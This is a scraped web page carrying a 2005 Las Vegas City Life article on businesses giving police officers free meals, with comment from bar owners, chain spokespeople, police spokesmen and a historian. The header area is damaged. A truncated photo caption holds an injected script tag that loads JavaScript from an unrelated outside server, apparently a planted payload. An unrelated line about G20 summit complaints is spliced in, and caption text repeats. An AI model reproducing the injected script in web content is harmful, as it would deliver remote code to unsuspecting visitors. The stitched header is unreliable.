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NEWS > 27 October 2005

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A total of 145 complaints have been made following clashes between police and protesters at the G20 summit.

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 Article sourced from

Del Bunch, owner of Mr. D's sp<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Las Vegas City Life
27 October 2005
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Del Bunch, owner of Mr. D's sp

Such thing as a free lunch

Want food, drinks free of charge? It helps if you're a cop

Del Bunch, owner of Mr. D's sports bar, offers police officers free food and drinks. No wonder the South Rainbow Boulevard bar is a favorite hangout of cops.


Del Bunch, owner of Mr. D's sports bar on South Rainbow Boulevard, has no qualms about offering on-duty police officers free lunch.

"We're a one-store location, and when they come in, they know us by name and we know them by name, and with us, it's, 'What can I get for you, officer?'"

You can't blame Bunch for being more than happy to offer police officers free food and beverages.

In the early morning hours of Dec. 5, 1999, Mr. D's gained national prominence when three armed robbers unwisely charged the back door of the "cop bar" with guns drawn and faces covered with bandanas. Among several off-duty police officers at the bar -- attending a concert by Pigs in a Blanket, a musical group of cops -- was Officer Dennis Devitte, who returned fire when two of the robbers shot at patrons. Devitte was hit eight times, but fatally wounded robber Emilio Rodriguez, 19.

Devitte recovered from his wounds, and was named the 2000 Police Officer of the Year by the International Association of Chiefs of Police and Parade magazine.

Still, the police chief's association frowns on the very common local practice of restaurants and casinos offering on-duty police officers free meals. Officers "should be firm in refusing gifts, favors or gratuities large or small, which can, in the public mind, be interpreted as capable of influencing his judgment in the discharge of his duties," the association's code says. And every Southern Nevada police department has adopted the association's canons of police ethics regarding the acceptance of gifts.

Still, the practice of offering police free food and beverages is as common as, well, the sight of a small group of officers sipping coffee at Starbucks or 7-Eleven.

Spokespersons from both chains say the decision on whether to offer free refreshments is up to the owner. "Since most of our stores are franchised, the decision is left to the store operator, and we don't have a problem with it as long as the policy doesn't conflict with any police regulation," said Kevin Gardner, spokesman for 7-Eleven.

Likewise, Jamie Golladay of Starbucks says: "At Starbucks we are deeply committed to creating a welcome environment in each of our stores. We do this by getting to know the people, and their needs, in the communities we serve. As a result, we leave the decision of providing complimentary food and beverages up to the discretion of our local store partners."

Several local Starbucks and 7-Eleven workers said they routinely provide local police officers with free beverages. In addition, workers at several local restaurants and local restaurant chains say they routinely offer free or discounted lunches to uniformed police officers.

"We comp all the Las Vegas police officers that come in and most of them are very nice," said Kathy, a Blueberry Hill Restaurant waitress. "A few of them have no idea that breakfast or lunch is free, and they give us huge tips. They don't take advantage and they make up for the ones who don't tip." Beth, a former waitress at the old Keg-A-Brew restaurant, formerly on West Sahara Avenue, also said it was common practice to offer uniformed police officers free lunches.

"A lot of places offer free food or half price food [to police officers], and they should," Beth said.

This philosophy is also shared by the major hotel resorts in Las Vegas. Employees of MGM Mirage and Harrah's Entertainment casinos say it's not uncommon to see uniformed police officers in the employee dining areas.

Yvette Monet, spokeswoman for MGM Mirage, which operates 10 resorts on the Las Vegas Strip, acknowledges the company invites on-duty police officers to eat in employee dining areas as a "professional courtesy."

"We do allow police officers to eat in our employee cafeterias and this occurs on an occasional basis," Monet said. "While a smaller casino operators might see this as an invitation for added police presence or police protection, we have a very large full-time security staff that we rely upon."

At Station Casino properties, police officers do not eat in employee dining areas, but they might stop for a quick bite in a casino restaurant.

Department spokesmen said giving free or discounted refreshments to officers is not abused, and is conducted to some degree at establishments that are more prone to robberies -- such as convenience stores. In other words, offering a free cup of coffee to a police officer is a small price to pay for increased police presence at an establishment -- cops call them "stop and robs" -- that could be targeted by a criminal looking for a fast buck.

"7-Eleven has been giving free coffee away for a long time," Metro Sgt. Chris Jones says. "In the winter, you're cold outside."

And at the riotous New Year's celebration, Strip casinos let officers eat in the employee dining rooms. "They want to keep the officers on the Strip," Jones says. The alternative would be reduced manpower to maintain order. Jones distinguishes between a cup of coffee and a gift that might influence an officer's behavior. "We can't solicit free meals, favors or gratuities. That is not tolerated. We can't focus our efforts where people are going to give us things."

Henderson Police spokesman Keith Paul says his department hasn't received complaints about officers soliciting free meals. "We haven't got any complaints from business people. I'm not saying they're not getting gratuities, but there hasn't been a situation where people have complained."

Paul concedes if a resident sees an officer receiving something for free, he might misinterpret the intent. "It's a perception thing. There's a difference between getting something for free and being neighborly."

In North Las Vegas, it's not uncommon for police officers to ignore half-price discounts on food. They simply leave the full amount, according to North Las Vegas Police spokesman Sean Walker.

"Our officers always leave enough money to pay the full bill," Walker said. "It's easier just to leave the full amount. Or the rest they give to the waiters."

All area police spokesmen insist any violation of the department rules would result in disciplinary action. But they acknowledge sometimes it's difficult to determine the difference between an officer being polite to a friendly restaurant operator and one who seeks out establishments serving free refreshments.

"Where do you draw the line?" Jones asked.

In 1973, the Knapp Commission in New York City drew the line against all forms of gifts for police officers. More recently, the Community Policing Consortium, consisting of several national police groups, said the argument against accepting gifts "seems overwhelming."

One local resident familiar with the work of the Knapp Commission is UNLV historian Eugene Moehring. "I grew up in Queens, and I never saw a cop pay for anything," Moehring said. "My uncle was a cop in Chinatown, and he would come home during Christmastime with all kinds of gifts from the local merchants. A lot of the restaurants would give cops free food, but if [the restaurant operators] called the cops, they would respond immediately. That was the unwritten law."

Moehring stressed he has never seen a Las Vegas police officer ask for or receive a free meal.

"What I saw in New York doesn't apply to Metro," Moehring said. "At that old Carrow's restaurant, across from UNLV, I've seen a lot of cops, and they would always pay for their meals."

But if Bunch, the owner of Mr. D's, was running Carrow's, no police officer would ever be charged for lunch.

"Why don't you become a cop, and get shot at, and then you might understand what it's like to be one," Bunch said. "My personal opinion is they don't get paid enough for the job they do."
 

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